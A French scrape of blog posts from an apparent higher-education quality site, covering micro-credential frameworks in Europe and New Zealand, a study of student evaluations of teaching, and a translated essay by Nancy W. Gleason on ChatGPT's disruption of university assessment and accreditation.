La loi du 5 septembre 2019 « Pour la liberté de choisir son avenir professionnel » indique que les certifications professionnelles inscrites au répertoire national des certifications professionnelles (RNCP) doivent être découpées en blocs de compétences. Ils représentent une modalité d’accès modulaire et progressive à la certification, dans le cadre d’un parcours de formation ou d’un processus de validation des acquis de l’expérience (VAE).

Nouvelle-Zélande
La New Zealand Qualifications Authority (NZQA) a introduit en 2019 un système de micro-accréditations dans le cadre du système d’éducation et de formation réglementé du pays. Ce système fait partie du cadre national des certifications (NZQF), un cadre unique qui couvre toutes les certifications, du deuxième cycle du secondaire au doctorat.
Les micro-certifications sont soumises aux mêmes exigences et normes d’évaluation que les autres certifications. Elles doivent correspondent à une fourchette comprise entre 5 à 40 crédits (de 2,5 à 20 ECTS) approuvés par le NZQA et être revues annuellement pour confirmer qu’elles continuent de répondre à leurs objectifs.

Pays-Bas
En 2017, SURF, une organisation néerlandaise pour les TIC dans l’éducation et la recherche travaillant avec plus de cent établissements d’enseignement et de recherche aux Pays-Bas, a lancé le projet edubadges, qui a vocation à se pérenniser. SURF fournit aux institutions une plateteforme nationale permettant de délivrer des certificats numériques tout en les aidant à se familiariser avec cette dernière dans leur contexte d’enseignement. Elle a pour but de faciliter la micro-accréditation dans un contexte formel, et de permettre de délivrer des certificats d’apprentissage non formel.
L’enseignement supérieur néerlandais évoluant vers un système plus modulaire et flexible, les edubadges pourraient devenir un instrument de ce changement.

Le Common Microcredential Framework
Dans le cadre du projet Erasmus+ EMC-LM (EMC for Labour Market), l’European Mooc consortium (EMC) qui regroupe les plateformes académiques européennes de cours en ligne : France Université Numérique (FUN), FutureLearn (Grande-Bretagne), MiríadaX (Espagne), EduOpen (Italie), et le portail OpenupEd opéré par l’EADTU (European Association of Distance Teaching Universities) ont lancé un cadre commun de micro-accréditations. Il s’agit de jeter les bases d’un nouveau dispositif d’accréditation international, permettant aux universités de répondre aux besoins de formation tout au long de la vie et de rendre les accréditations plus lisibles et compréhensibles à travers différents pays et leurs systèmes d’enseignement supérieur. L’Espagne, la France et l’Italie ont choisi de baptiser les micro-certifications « GRADEO », un terme ayant valeur de marque. Pour garantir la qualité de ce cadre commun de micro-accréditation, l’obtention d’un GRADEO est soumise à une série de spécifications et permet la délivrance de crédits académiques (ECTS). Cette exigence garantit que les cursus sont développés dans le cadre national d’accréditation des universités et, en Europe, conformément au cadre européen des certifications (European Qualification Framework – EQF). En France, FUN a décerné les deux premiers certificats GRADEO à des formations de l’Estia en janvier 2021.

 

CONCLUSION : VERS UNE APPROCHE EUROPÉENNE DES MICRO-CERTIFICATIONS ?

Les micro-certifications sont devenues depuis quelques mois une priorité de la politique éducative européenne. Le 1er juillet 2020, la Commission européenne a lancé la « nouvelle stratégie en matière de compétences pour l’Europe », qui place les compétences au cœur de l’agenda politique de l’Union européenne. Cette stratégie consacre l’une de ses douze actions phares à l’importance des micro-certifications.

Les micro-certifications ont été incluses dans la communication de septembre 2020 relative à la réalisation d’un espace européen de l’éducation d’ici à 2025 afin de souligner le rôle essentiel de l’enseignement supérieur pour soutenir l’apprentissage tout au long de la vie et toucher une plus grande diversité d’apprenants. Ils ont également été inclus dans le plan d’action de septembre 2020 en matière d’éducation numérique.

Dans le cadre du projet Erasmus+ MICROBOL, le groupe de suivi de Bologne a chargé trois groupes de travail d’examiner les micro-certificats sous l’angle des engagements clés du processus de Bologne. Le projet examine si et comment les outils existants de l’Espace européen de l’enseignement supérieur peuvent être adaptés aux micro-certifications. Trois groupes de travail ont été constitués : sur les cadres de certifications et crédits ECTS, sur la reconnaissance des micro-qualifications – auquel participe le centre ENIC-NARIC France – et sur l’assurance qualité. Le résultat attendu du projet est la création d’un cadre européen pour les micro-certifications.

Au printemps 2020, la Commission européenne a créé un groupe de consultation ad hoc composé d’experts de l’enseignement supérieur de différents pays européens afin de proposer une définition et des recommandations communes en vue d’une approche européenne du développement et de l’adoption des micro-certifications en Europe. Il a rendu public le 14 décembre 2020 son rapport final qui comprend une feuille de route proposant les actions suivantes :

  • élaborer des normes européennes communes en matière de qualité et de transparence, en collaboration avec toutes les parties concernées,
  • envisager leur inclusion dans les cadres nationaux de certifications, éventuellement avec une référence au cadre européen des certifications,
  • dresser une liste de prestataires de confiance et promouvoir les processus d’assurance de la qualité,
  • analyser comment le système européen de transfert et d’accumulation de crédits (ECTS) peut être utilisé dans le cadre des différents secteurs de l’éducation, en dehors de l’enseignement supérieur,
  • définir des lignes directrices pour accélérer le processus de reconnaissance en adaptant les instruments de validation et de reconnaissance existants ou en en élaborant de nouveaux,
  • faciliter la conservation et la présentation des micro-certifications aux employeurs au moyen d’Europass et de son infrastructure pour les certifications numériques, ainsi que par l’intermédiaire de l’initiative relative à la carte d’étudiant européenne,
  • utiliser les micro-certifications pour améliorer l’accès aux possibilités d’apprentissage tout au long de la vie en assurant une meilleure perméabilité entre les secteurs de l’éducation et de la formation et en permettant aux apprenants de faire un choix éclairé, grâce à des services d’orientation s’appuyant sur des données en temps réel sur le marché du travail,
  • fournir un soutien de l’UE, par l’intermédiaire du programme Erasmus+ et des Fonds structurels, destiné à l’enseignement supérieur, à enseignement et à la formation professionnels et à d’autres établissements d’enseignement et de formation et prestataires de services de formation, afin de promouvoir les micro-certifications.


Ces actions déboucheront sur des consultations plus larges couvrant tous les secteurs de l’éducation et de la formation en vue d’élaborer une recommandation du Conseil sur les micro-certifications pour l’apprentissage tout au long de la vie et l’employabilité, d’ici à la fin de 2021.

 

Sources :

CHAKROUN Borhene, KEEVY James, Digital credentialing: implications for the recognition of learning across borders, UNESCO, 2018
https://unesdoc.unesco.org/ark:/48223/pf0000264428

eCampusOntario, Institut de la diversité, L’avenir est-il dans les microtitres ? Dissocier l’apprentissage au profit de l’accès et de la flexibilité, eCampusOntario ,2021
https://micro.ecampusontario.ca/wp-content/uploads/2021/03/L_avenir_est-il_dans_les_microtitres-1.pdf

European Commission, A european approach to micro-credentials : output of the micro-credentials higher education consultation group: final report, 2020
https://op.europa.eu/en/publication-detail/-/publication/7a939850-6c18-11eb-aeb5-01aa75ed71a1

France compétences, note relative aux blocs de compétences, 2019
https://www.francecompetences.fr/app/uploads/2019/12/note-bloc-de-compe%CC%81tences-version-au-24092019-003.pdf

KATO Shizuka, GALAN MUROS Victoria, WEKO Thomas, The Emergence of Alternative Credentials OECD Education working paper n°. 216, 2020
https://www.oecd-ilibrary.org/education/the-emergence-of-alternative-credentials_b741f39e-en

MINICHIELLO Federica, Évaluation, reconnaissance des acquis et technologie : tendances en éducation, Revue internationale d’éducation de Sèvres, 2018, n° 78
https://journals.openedition.org/ries/6254

Ministry of education and training (Belgique, Flandres), Ministry of education and culture (Finlande); CIMEA : Information Centre on Academic mobility and equivalence (Italie), et al., European project MICROBOL : Micro-credentials linked to the Bologna : key commitments : desk research report, 2020
https://microcredentials.eu/wp-content/uploads/sites/20/2020/09/MICROBOL-Desk-Research-Report.pdf

OLIVER Beverley, Making micro-credentials work: for learners, employers and providers, Deakin University, 2019
http://wordpress-ms.deakin.edu.au/dteach/wp-content/uploads/sites/103/2019/08/Making-micro-credentials-work-Oliver-Deakin-2019-full-report.pdf

ORR Dominic, PUPINIS Mantas, KIRDULLYTE Greta, Towards a European approach to microcredentials:a study of practices and commonalities in offering micro-credentials in European higher education, NESET report, 2020
https://nesetweb.eu/wp-content/uploads/2020/12/NESET_AR2-2020_Full-Report.pdf

PICHETTE Jackie, BRUMWELL Sarah, RIZK Jessica et HAN Steven, Donner un sens aux microcertifications, Conseil ontarien de la qualité de l’enseignement supérieur, 2021
https://heqco.ca/wp-content/uploads/2021/05/Formatted_Microcredentials_FINAL_FR2.pdf

SZALMA Eva, ZARKA Denes, Identification of types of micro-credentials in higher education, OEPASS Consortium, 2018
https://oepass.eu/wp-content/uploads/sites/22/2019/03/OEPass_O1_A3_report_v4.pdf

Thot Cursus, La micro-certification révolutionne les critères traditionnels du marché du travail, 2021
https://cursus.edu/actualites/43569/la-micro-certification-revolutionne-les-criteres-traditionnels-du-marche-du-travail

Word economic forum, These are the top 10 job skills of tomorrow – and how long it takes to learn them, 2020
https://www.weforum.org/agenda/2020/10/top-10-work-skills-of-tomorrow-how-long-it-takes-to-learn-them/

 

Rédaction : Hélène Beaucher ∙ Documentaliste ∙ Juin 2021

]]>
Évaluations Par Les Étudiants De L’enseignement https://qaas.tn/2023/05/09/evaluations-par-les-etudiants-de-lenseignement/ Tue, 09 May 2023 10:29:54 +0000 https://qaas.tn/?p=2998

Projet SET : Évaluations Par Les Étudiants De L’enseignement, Mesure Et Amélioration De La Qualité Des Cours Et De La Qualité De L’enseignement

Cette recherche menée par Ad Scheepers, SET Project: Student Evaluations of Teaching, Measuring and Enhancing Course Quality and Teaching Quality , montre que l’évaluation des étudiants doit être considérée comme un processus, comme un cycle. L’une des étapes importantes de ce cycle est l’interprétation des données, et cela dépend évidemment de l’objectif identifié lors de la construction de l’instrument. Cela peut aller de l’amélioration de l’enseignement, de l’assurance qualité ou de l’évaluation des enseignants.

La revue de la littérature a permis de dégager quelques recommandations intéressantes sur chacune des étapes du processus SET. La plupart des études précédentes ne se concentrent pas sur l’ensemble du processus SET mais sont fragmentées. Les principales préoccupations portaient sur la fiabilité, la validité et les biais.

Au cours de l’étude de terrain, les pratiques actuelles ont été étudiées dans 50 écoles de commerce européennes et non européennes pour les différentes étapes du processus SET. Les principales conclusions sur l’établissement d’une bonne pratique sont les suivantes :

  • Utiliser un instrument multidimensionnel pour évaluer l’efficacité et la qualité de l’enseignement plutôt qu’une mesure globale.
  • Ne rendez pas le questionnaire trop compliqué et utilisez des dimensions de base et un nombre minimal d’items par dimension pour garantir la fiabilité. Cela augmentera également les taux de réponse.
  • Vérifiez la fiabilité régulièrement et systématiquement. Cela contrecarrera également les préjugés.
  • Les taux de réponse sont une grande préoccupation, mais cela ne doit pas être problématique. Soit l’échantillon doit être suffisamment représentatif, soit le SET doit être rendu obligatoire et faire partie intégrante d’un cours ou d’un module.
  • Lorsque le SET est utilisé à des fins de RH, telles que la permanence et la promotion, des sources d’informations supplémentaires doivent être disponibles et utilisées.
  • La qualité de SET s’améliorera grandement si SET est considéré comme un processus avec des étapes liées et cohérentes, et lorsqu’il forme une boucle fermée. Un « acteur » devrait être nommé responsable de l’ensemble du processus.

Les conclusions de la recherche ainsi que le rapport complet du projet sont notés dans le récent rapport de projet .

Découvrez plus de projets soutenus par EQUAL ici et n’hésitez pas à nous contacter si vous avez des suggestions de sujets importants ou des questions liées à la qualité et à l’enseignement commercial.

]]>
L’impact de l’IA générative dans l’enseignement supérieur https://qaas.tn/2023/04/21/limpact-de-lia-generative-dans-lenseignement-superieur/ Fri, 21 Apr 2023 08:03:58 +0000 https://qaas.tn/?p=2982 De Nancy W. Gleason

La façon dont nous évaluons les talents en matière d’apprentissage et de diplômes est perturbée par ChatGPT.

ChatGPT oblige l’enseignement supérieur à se dépoussiérer pour mieux se reconstruire.

Le Dr Nancy Gleason propose quatre domaines clés pour des changements significatifs :

  • adapter les calculs de charge de travail obsolètes,
  • offrir des horaires flexibles,
  • instaurer un apprentissage sans note ; 
  • nous socialiser à l’évolution de l’éthique.

Les gouvernements et l’industrie doivent travailler ensemble pour financer ces changements afin de s’assurer que les étudiants ont un accès égal et que l’économie dispose des talents dont elle a besoin. Si l’enseignement supérieur n’apporte pas de changements significatifs, un autre modèle de certification le remplacera.

ChatGPT est une rupture dont l’enseignement supérieur a besoin. Au cas où vous l’auriez manqué, ChatGPT est une plate-forme d’apprentissage en profondeur fonctionnant sur le grand modèle de langage, GPT3.5, qui est exploité par la technologie OpenAI. Il a été rendu public gratuitement le 30 novembre 2022 et, en cinq jours, il comptait plus d’un million d’utilisateurs. Deux mois plus tard, il est rapporté 1avoir plus de 100 millions d’utilisateurs mensuels. Il utilise un modèle de traitement du langage naturel (NLP) qui génère des réponses basées sur une conversation avec l’utilisateur. Il est itératif et apprend de la conversation pour affiner les réponses. Il peut écrire n’importe quel langage structuré – poèmes, présentations PowerPoint, recettes, essais, coder et traduire dans toutes les langues. Il peut résumer des textes, produire un plan et modifier votre écriture. La sophistication et la nature convaincante du texte qu’il peut générer signalent une transition de phase dans les capacités de l’intelligence artificielle (IA). Nous sommes dans un nouveau monde maintenant.

Un point clé ici est que ce n’est que le début. Le PDG d’OpenAI, Sam Altman, a tweeté le 11 décembre qu’il s’agissait d’un « aperçu des progrès ». Il l’a rendu public pour nous socialiser et former le modèle. Les futures itérations seront monétisées à coup sûr, et il existe déjà une option de 20 $ par mois qui promet une facilité d’accès à des vitesses élevées pendant les heures de pointe. Des produits, des services et même de nouveaux emplois proviendront des applications inévitables de cette plate-forme. Nous sommes dans les premiers temps. Toute discussion sur ce qu’il ne peut pas faire est hors de propos. C’est vrai qu’il ne sait pas bien faire les maths. Il ne peut pas comprendre la logique. Et cela peut inventer des récits qui ne sont pas vrais. Mais le fait est que le modèle existe maintenant et qu’il s’améliore avec le temps. Les versions ultérieures du modèle nous rapprocheront beaucoup de l’intelligence artificielle générale ou de la singularité.

Certaines organisations et certains secteurs de l’économie doivent agir plus rapidement que d’autres pour déterminer dans quelle mesure l’IA générative est appropriée pour s’intégrer dans les pratiques et les systèmes commerciaux. L’enseignement supérieur est au premier plan. Les étudiants titulaires d’un diplôme universitaire en vérifiant qu’ils connaissent certaines matières et possèdent diverses compétences. Leur réputation repose en grande partie sur la façon dont leurs diplômés sont considérés sur le lieu de travail.

L’IA générative – qui comprend un vaste paysage de plates-formes – modifie notre façon de produire et les compétences dont nous avons besoin pour générer et évaluer la véracité des résultats de nombreux types différents.

Mais ChatGPT peut produire une grande partie de ce que nous demandons aux étudiants de premier cycle de générer afin d’évaluer leurs capacités. Il peut correspondre à la qualité de la liste des faits, des procédures détaillées et de la préparation des présentations. Il n’y a pas de contre-mesures fiables pour attraper le texte généré par ChatGPT. C’est ici que réside la perturbation. L’enseignement supérieur ne peut plus vérifier les compétences et les capacités d’un étudiant donné avec les formats existants d’évaluations asynchrones tels que les devoirs et les examens à faire à la maison. Les conversations sur l’intégrité académique et l’éthique de la production de votre propre travail sont un sujet brûlant pour les étudiants, les professeurs et le personnel. On trouvera quelques contre-mesures pédagogiques (comme les oraux), mais le GPT3 gagnera en sophistication, avec de nouvelles itérations. Les processus cognitifs humains, les connaissances stratégiques et l’intelligence émotionnelle sont tout maintenant.

En attendant, les étudiants veulent encore apprendre. Et les employeurs recherchent des talents humains capables de penser de manière critique par eux-mêmes. Sans une réputation universitaire de qualité fiable et des diplômes moyens correspondants, l’industrie est susceptible de recruter de jeunes talents sans avoir besoin de diplômes universitaires. La question est la suivante : l’enseignement supérieur peut-il changer assez rapidement pour éviter d’être licencié ?

L’enseignement supérieur a besoin d’être repensé depuis des années. Les structures de tarification, les politiques de travail équitable et une bureaucratie écrasante continuent de mettre la pression sur la qualité, l’accès et l’équité dans l’académie. Le contenu est souvent dissocié de l’apprenant, le mode de prestation est devenu de moins en moins engageant à mesure que la taille des classes augmente, les évaluations échouent souvent à mesurer l’apprentissage et les installations ne sont pas propices à l’apprentissage dans de nombreux établissements. Les institutions d’élite et célèbres ne sont pas le sujet de cette conversation car elles peuvent toutes les deux se débrouiller seules et, sur la seule base de leur réputation, elles peuvent se permettre d’être lentes à changer. Cependant, la quatrième révolution industrielle (4RI) et l’automatisation de nombreuses tâches cognitives exigent un autre type d’éducation, car la façon de penser sur le lieu de travail évolue. Le contenu de l’éducation à lui seul ne peut subvenir aux besoins d’une personne car les connaissances ont une durée de vie plus courte – dans certains domaines, elles ne sont pertinentes que pour quelques années. Savoir apprendre est essentiel. Vous devez apprendre des façons de penser pour vous épanouir à l’âge adulte. ChatGPT rend l’évaluation de l’apprentissage à grande échelle plus difficile car les méthodes que nous déployons actuellement ne sont plus robustes contre les fautes académiques, ni pertinentes pour le nouveau monde des humains et de la technologie.

L’enseignement supérieur n’a pas changé malgré la perturbation massive du COVID-19. Après avoir formé des millions d’enseignants à déplacer leurs cours en ligne et à les dispenser via zoom, et modifié des milliards d’évaluations, la plupart des établissements ont remis en place toutes les anciennes façons de faire. C’est un gaspillage choquant. Cela ne veut pas dire que tout a bien fonctionné, mais la plupart des collèges et universités n’ont pas mis en œuvre les leçons tirées de la COVID-19.

Maintenant, ChatGPT offre une perturbation de taille similaire à celle de COVID-19, menaçant la continuité des activités de manière imprévue. L’IA générative – qui comprend un vaste paysage de plates-formes – modifie notre façon de produire et les compétences dont nous avons besoin pour générer et évaluer la véracité des résultats de nombreux types différents. L’ampleur et le rythme de ce changement signifient que les fondamentaux doivent changer au-delà de la façon dont nous enseignons et évaluons les étudiants. Il existe quatre façons pour l’enseignement supérieur de se dépouiller et de mieux reconstruire à la suite de cette perturbation actuelle.

Calculs de charge de travail adaptatifs

Premièrement, ChatGPT peut modifier la charge de travail associée aux résultats d’apprentissage. Cela signifie que nous pouvons apprendre plus vite maintenant. Les établissements d’enseignement supérieur décernent des diplômes en fonction des heures de crédit complétées, non pas selon les conventions d’une discipline donnée, mais selon les conventions de la hauteur et de la rigueur du diplôme obtenu. Le nombre de crédits qu’un étudiant doit compléter est déterminé par le gouvernement. En Europe, il s’agit du système européen de transfert et d’accumulation de crédits (ECTS), dans lequel la reconnaissance des qualifications est basée sur les heures de contact. Le système américain basé sur le crédit mesure les unités Carnegie et est utilisé dans des pays du monde entier. Ce système désuet a été développé en 1906 et il est utilisé pour déterminer le temps approprié qu’un étudiant doit étudier. Les organismes d’accréditation opérationnalisent, surveillent et déterminent l’assurance qualité. ChatGPT signifie probablement que nous n’avons pas besoin de 120 heures de crédit d’enseignement dans toutes les disciplines au niveau du premier cycle. Les gens obtiennent désormais des informations plus rapidement et la pertinence réduite des connaissances signifie que le temps peut être mieux consacré à l’apprentissage sur le tas.

C’est là que le gouvernement entre en jeu. L’enseignement supérieur ne peut pas changer tant que les gouvernements ne modifient pas leurs règles d’accréditation. Une partie de la raison pour laquelle les établissements d’enseignement supérieur n’ont pas pu adopter les améliorations souhaitées dans la salle de classe post-COVID-19-vaccin est qu’ils n’y sont pas autorisés. Les organismes d’agrément devront probablement repenser la façon dont la charge de travail des étudiants est calculée et raccourcir le temps nécessaire pour obtenir un baccalauréat de premier cycle pour certaines disciplines.

Horaires flexibles

Deuxièmement, les horaires doivent s’adapter à la manière dont les élèves interagissent avec la technologie. L’établissement des horaires est un processus complexe qui prend en compte la disponibilité des professeurs et des étudiants, la taille des inscriptions par classe, les types de salles de classe et la disponibilité des ressources pour optimiser l’utilisation efficace du campus et garantir que les étudiants peuvent obtenir leur diplôme dans le nombre d’années alloué. Décaler les horaires des blocs de temps sera très difficile à faire, mais quelque chose doit céder. Quelles disciplines peuvent être apprises en moins de temps grâce aux plateformes d’IA génératives ? Quelles classes ont besoin de plus d’heures de contact ? Nous avons besoin d’un meilleur système pour traiter les différences entre les disciplines plutôt que de programmer tous les cours pour la même durée, car l’IA générative a un impact différent sur les disciplines. Cela peut signifier que pour certaines disciplines, l’enseignement en ligne pendant 30 minutes quatre fois par semaine est un meilleur mode de prestation que de rester assis dans une salle de classe pendant une heure et demie deux fois par semaine. Et cela signifie que les heures de contact pendant les périodes d’examen doivent être repensées pour permettre des choses comme les examens oraux en sciences sociales et humaines. Mais là encore, il s’agit d’un problème d’accréditation que les établissements d’enseignement supérieur ne peuvent résoudre seuls. L’emploi du temps est actuellement lié à la charge de travail et non aux résultats d’apprentissage. L’IA générative signifie que cela doit changer pour que l’enseignement supérieur reste pertinent. Mais là encore, il s’agit d’un problème d’accréditation que les établissements d’enseignement supérieur ne peuvent résoudre seuls. L’emploi du temps est actuellement lié à la charge de travail et non aux résultats d’apprentissage. L’IA générative signifie que cela doit changer pour que l’enseignement supérieur reste pertinent. Mais là encore, il s’agit d’un problème d’accréditation que les établissements d’enseignement supérieur ne peuvent résoudre seuls. L’emploi du temps est actuellement lié à la charge de travail et non aux résultats d’apprentissage. L’IA générative signifie que cela doit changer pour que l’enseignement supérieur reste pertinent.

Apprentissage sans note

Troisièmement, la notation et les notes telles que nous les connaissons doivent être progressivement supprimées. L’apprentissage sans note est pratiqué dans le monde entier pour encourager la prise de risques intellectuels – le plus souvent sous la forme de relevés de notes couverts pour les étudiants de première année. Evergreen State College 2 aux États-Unis est un collège accrédité de quatre ans sans système de notation en place. Et la très réputée Brown University n’a pas d’examens finaux. Un mouvement massif de « déclassement 3» occupe les salons de discussion et les bibliothèques d’enseignants universitaires engagés dans la pédagogie dans le monde entier. Essentiellement, le déclassement minimise l’utilisation de points et de poids sur les devoirs, et fournit plutôt des commentaires et se concentre sur la croissance et l’apprentissage des élèves. Cela coûte beaucoup de temps par étudiant, ce que de nombreux établissements d’enseignement supérieur n’ont pas, mais cela fait partie du changement structurel imposé par l’IA générative. La mise en œuvre d’un tel changement à grande échelle signifie que le leadership administratif, le gouvernement et l’industrie doivent travailler ensemble pour allouer des ressources – à la fois financières et temporelles – pour former les professeurs à de nouvelles méthodes d’enseignement.

Éthique changeante

Quatrièmement, ChatGPT modifie l’éthique autour de l’intégrité académique. Cela change ce que signifie tricher. L’avenir pour ceux d’entre nous connectés à Internet est l’humain plus l’IA. À l’avenir, et dans un avenir proche, il y a très peu de tâches que les professionnels qui travaillent avec des ordinateurs feront sans consulter une machine intelligente. Mais les universités et les collèges doivent légitimement vérifier l’apprentissage des étudiants. Et la façon dont les élèves réalisent leur apprentissage doit être faite de manière équitable. Nous avons besoin de nouvelles façons de développer et de vérifier les connaissances qui intègrent des outils d’IA générative. Les structures, la disposition et les attentes des évaluations et des tests doivent changer. Et nous devons nous socialiser aux idées générées par l’IA. John Dewey, un philosophe de l’éducation influent du début du XXe siècle, a soutenu que l’éducation est le renouvellement de la vie par transmission. L’éducation est, il a soutenu, la continuité sociale de la vie. Il est temps de nous préparer, nous et nos sociétés, à un monde dans lequel cette continuité est co-développée par des idées non humaines, modifiant notre compréhension de la propriété des idées.

Si nous avons besoin de savoir ce qui est généré par l’homme et ce qui est généré par l’IA, les gouvernements doivent réglementer l’industrie pour qu’il en soit ainsi. Nous ne pouvons pas nous attendre à ce que les professeurs en décident seuls.

L’autre défi éthique est l’accès à ce modèle. Malgré sa puissance et la décision de certains pays et conseils scolaires locaux d’interdire son accès, les riches y auront un meilleur accès que ceux qui ont moins de ressources économiques. Il n’y a pas d’équité en éducation sans un accès égal à cet outil. Et vous pouvez être certain qu’il sera monétisé avec des frais d’abonnement élevés pour les établissements d’enseignement ; ceux que seules les universités et les collèges bien dotés peuvent se permettre. Ce n’est pas éthique. La puissance de cette technologie signifie que chaque étudiant inscrit doit y avoir un accès égal et équitable. Sans oublier qu’il s’agit d’un outil fabuleux pour les étudiants neurodivers, les locuteurs non natifs de la langue d’enseignement et ceux qui luttent contre l’alphabétisation.

Nous avons besoin d’un plan

Tout cela pour dire qu’il nous faut un plan, pas des plâtres. Un logiciel de triche est un plâtre – digne de notre attention à très court terme seulement. Si nous avons besoin de savoir ce qui est généré par l’homme et ce qui est généré par l’IA, les gouvernements doivent réglementer l’industrie pour qu’il en soit ainsi. Nous ne pouvons pas nous attendre à ce que les professeurs en décident seuls. Ce n’est pas seulement irréaliste, mais c’est immoral compte tenu de la certitude de l’échec.

L’éducation est un processus, pas une collection de faits. Cela a toujours été le cas, mais les défis de l’accès à une éducation de qualité à grande échelle signifient que de nombreuses écoles ne fournissent que des faits. Cette approche est maintenant rendue obsolète, car elle est entièrement automatisée. Nous avons besoin que les dirigeants fassent des propositions audacieuses. Et nous avons besoin que l’industrie aide à financer les changements nécessaires, sinon il n’y aura pas de talents disponibles pour faire fonctionner l’économie.

L’enseignement supérieur ne peut plus vérifier les compétences et les capacités d’un étudiant donné avec les formats existants d’évaluations asynchrones tels que les devoirs et les examens à faire à la maison.

Il y a beaucoup de crises dans le monde aujourd’hui. Il est difficile d’attirer l’attention de qui que ce soit au-delà du cycle de l’actualité. ChatGPT a notre attention pour le moment. Mais la prochaine guerre, la prochaine catastrophe écologique ou la prochaine percée technologique pourraient le faire disparaître des gros titres. Malgré cela, il ne s’en va pas. L’éducation est perturbée et le statu quo n’est pas une option. Agir pour un changement systémique est une décision forcée. Si l’enseignement supérieur et les organismes gouvernementaux qui les réglementent n’apportent pas de changements significatifs, un modèle alternatif de certification les remplacera.

 

Vous pourriez aussi aimer:

A propos de l’auteur

Nancy GlésonNancy W. Gleason , Phd est directrice du Hilary Ballon Center for Teaching and Learning à NYU Abu Dhabi. Ses recherches portent sur l’impact de la quatrième révolution industrielle sur l’enseignement supérieur, la perturbation de l’emploi et le perfectionnement des adultes. Elle est rédactrice en chef de Higher Education in the Era of the Fourth Industrial Revolution (Springer, 2018).

Les références

  1. https://finance.yahoo.com/news/chatgpt-on-track-to-surpass-100-million-users-faster-than-tiktok-or-instagram-ubs-214423357.html
  2. https://www.evergreen.edu/
  3. https://learninginnovation.duke.edu/blog/2022/09/what-is-ungrading/

 

]]>